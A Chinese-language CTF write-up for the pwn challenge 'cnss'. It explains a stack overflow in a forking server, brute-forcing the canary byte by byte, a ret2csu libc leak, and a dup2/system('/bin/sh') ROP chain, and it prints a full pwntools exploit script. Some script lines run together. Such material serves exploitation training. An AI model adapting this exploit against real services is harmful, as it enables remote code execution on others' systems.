Cnss

首先,我们检查一下程序的保护机制

然后,我们用IDA分析一下,发现是一个服务器程序,每接收到连接请求后就会fork一个子进程来处理。

代码太长,看似很复杂

我们发现eval函数存在栈溢出,并且由于没有开启PIE,那么我们只需要泄露了canary的值就能轻松ROP了。

关键是canary泄露不了。然而,我们可以一字节一字节的爆破它。我们知道,canary的值是随机的,但是由于这是一个子进程,从父进程fork来的,因此它的数据和父进程里的一样。子进程崩溃不影响父进程,只要父进程没有重新运行,那么它的canary值就没变。每次fork的子进程里的canary值一样。因此,我们单字节单字节的爆破,当子进程崩溃,就认为不对,当子进程没有崩溃,说明当前这字节的canary数据,我们猜对了,继续爆破下一字节。

  1. #开始爆破canary
  2. canary = '\x00'
  3. for i in range(1,8):
  4. print '===crack last(',i+1,')byte===='
  5. for x in range(0,0x100):
  6. print 'trying ',hex(x)
  7. stack_overflow(0x18E + i + 1,'a'*0x18E + canary + p8(x))
  8. try:
  9. sh.recv()
  10. sh.recv()
  11. except:
  12. sh.close()
  13. init_connection()
  14. continue
  15. canary += p8(x)
  16. break
  17. canary = u64(canary)

当我们得到canary后,就是正常的栈溢出了。先是ret2csu,去执行write函数泄露libc地址,然后我们构造ROP,利用栈溢出写入即可。

综上,我们完整的exp脚本

#coding:utf8
from pwn import *
from LibcSearcher import *elf = ELF('./cnss')
socket_got = elf.got['socket']
write_got = elf.got['write']
csu_pop = 0x40481A
csu_call = 0x404800
eval_ret = 0x401F15
pop_rdi = 0x404823
#pop rsi;pop rdi;ret
pop_rsi = 0x404821def init_connection():global sh#sh = remote('127.0.0.1',1337)sh = remote('192.168.232.130',1337)sh.send(p32(0x4D435052))sh.send(p32(0) + p32(1,endian = 'big'))def stack_overflow(size,content):sh.send(p32(0x4D435052))sh.send(p32(0) + p32(3,endian = 'big'))sh.send(p32(0)*2)sh.send(p32(0x10,endian = 'big'))sh.send('t'*0x10)sh.send(p32(size,endian = 'big'))sh.send(content)init_connection()
#开始爆破canary
canary = '\x00'
for i in range(1,8):print '===crack last(',i+1,')byte===='for x in range(0,0x100):print 'trying ',hex(x)stack_overflow(0x18E + i + 1,'a'*0x18E + canary + p8(x))try:sh.recv()sh.recv()except:sh.close()init_connection()continuecanary += p8(x)break
canary = u64(canary)
#canary = 0x679961d7ebc53500
#canary = 0x4202eb3d320ee000
print 'canary=',hex(canary)
#sh.recv()
#泄露socket函数地址
rop = p64(csu_pop)
rop += p64(0) + p64(1)
rop += p64(write_got)
rop += p64(0x8) + p64(socket_got) + p64(4)
rop += p64(csu_call)
payload = 'a'*0x18E + p64(canary) + p64(0) + rop
stack_overflow(len(payload),payload)
socket_addr = u64(sh.recv().ljust(8,'\x00'))
libc = LibcSearcher('socket',socket_addr)
libc_base = socket_addr - libc.dump('socket')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
dup2_addr = libc_base + libc.dump('dup2')
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print 'dup2_addr=',hex(dup2_addr)
sh.close()
#getshell
init_connection()
#重定向0和1文件描述符到socket的fd
raw_input()
rop = p64(pop_rdi) + p64(4) + p64(pop_rsi) + p64(0)*2 + p64(dup2_addr)
rop += p64(pop_rdi) + p64(4) + p64(pop_rsi) + p64(1)*2 + p64(dup2_addr)
rop += p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
payload = 'a'*0x18E + p64(canary) + p64(0) + rop
stack_overflow(len(payload),payload)sh.interactive()

攻防世界PWN之cnss题解相关推荐

  1. 攻防世界PWN之house_of_grey题解

    house_of_grey 首先,检查一下程序的保护机制,发现保护全开 然后,我们用IDA分析一下 发现是一个读取文件并显示的程序,除了flag文件,其他文件都可以读取 程序有个缓冲区溢出漏洞 可以溢 ...

  2. 攻防世界PWN之boi题解

    Boi 首先,检查一下程序的保护机制 然后,我们用IDA分析一下 看似很复杂,我们发现这是一个服务器程序,并且一开始要发送特殊指令,才能显示出菜单 套接字初始化,绑定了本地端口0x539也就是1337 ...

  3. realloc函数UAF利用|攻防世界pwn进阶区supermarket

    文章目录 思路 0x00.tar解压 0x01.查看保护 0x02.查看程序并调试 0x03.漏洞分析 realloc函数详解 0x04.利用思路 利用过程 exp-1 解法二 函数须知 0x00.查 ...

  4. 攻防世界(Pwn) forgot---栈溢出;(方法二)

    攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...

  5. 攻防世界(Pwn) forgot---栈溢出;(方法一)

    攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...

  6. [攻防世界 pwn]——pwn1(内涵peak小知识)

    [攻防世界 pwn]--pwn1 题目地址:https://adworld.xctf.org.cn/ 题目: peak小知识 这道题目的关键就是泄露canary,通常我们泄露canary有两种方法,遇 ...

  7. [攻防世界 pwn]——实时数据监测

    [攻防世界 pwn]--实时数据监测 题目地址:https://adworld.xctf.org.cn/ 题目: checksec就不说了,没什么 ida中 只要将key里面的值修改为35795746 ...

  8. [攻防世界 pwn]——monkey

    [攻防世界 pwn]--monkey 题目地址:https://adworld.xctf.org.cn/ 题目: 额,怎么说呢这道题.checksec没什么大不了的 但是再IDA中就懵了,好大呀.好多 ...

  9. [攻防世界 pwn]——反应釜开关控制

    [攻防世界 pwn]--反应釜开关控制 题目地址:https://adworld.xctf.org.cn/ 题目: 无言以对,直接给你shell函数,返回覆盖到shell函数就OK了 exploit ...

最新文章

  1. 华为云携手秒拍,云+AI助力短视频加速发展
  2. DOS命令查看网络信息
  3. CodeForces - 387D George and Interesting Graph(二分图最大匹配+暴力)
  4. MD5 32位加密算法源码(测试通过)(系转载 飞扬天下)
  5. JAVA入门级教学之(方法内存分配机制)
  6. php会不会被人工智能取代,为什么这9种工作不会被人工智能取代?
  7. 即学即会 Serverless | 初识 Serverless 架构
  8. jQuery EasyUI -ComboBox(下拉列表框)使用
  9. 【李宏毅2020 ML/DL】P34 More about explainable AI | Attribution, Heatmap, explainable model
  10. 华为/华三IS-IS多区域配置及其路由优化
  11. handlersocket原理和性能测试
  12. 正好股票开户有色金属应声大涨
  13. Scrapy实战:使用IDE工具运行爬虫
  14. MySQL基础(一)
  15. 免安装版本的+mysql_mysql免安装版本
  16. vue项目上线后服务器资源更新而浏览器有缓存不更新
  17. 人力资源管理专业知识与实务(初级)【11】
  18. 精简压缩优化 Docker 镜像几百MB
  19. database “template0“ is not currently accepting connections
  20. iQOO Z6和iQOOZ6x的区别 选哪个好

热门文章

  1. 理解 Storm 拓扑的并行度(parallelism)概念
  2. 问卷调查类型全面解析
  3. inno setup安装制作软件详细使用步骤(含检测net版本环境)
  4. 【C++ STL】vector模拟实现
  5. java解包_Java的原始类型自动包装与解包机制
  6. c程序语言第四版实验报告,C语言程序设计第四次实验报告
  7. Creator3D 守护你的球球—UV动画与天空盒
  8. SEO教程之网站长尾关键词拓展方式及工具。
  9. 前端每日实战:102# 视频演示如何用纯 CSS 创作一个小和尚
  10. MariaDB 视图与触发器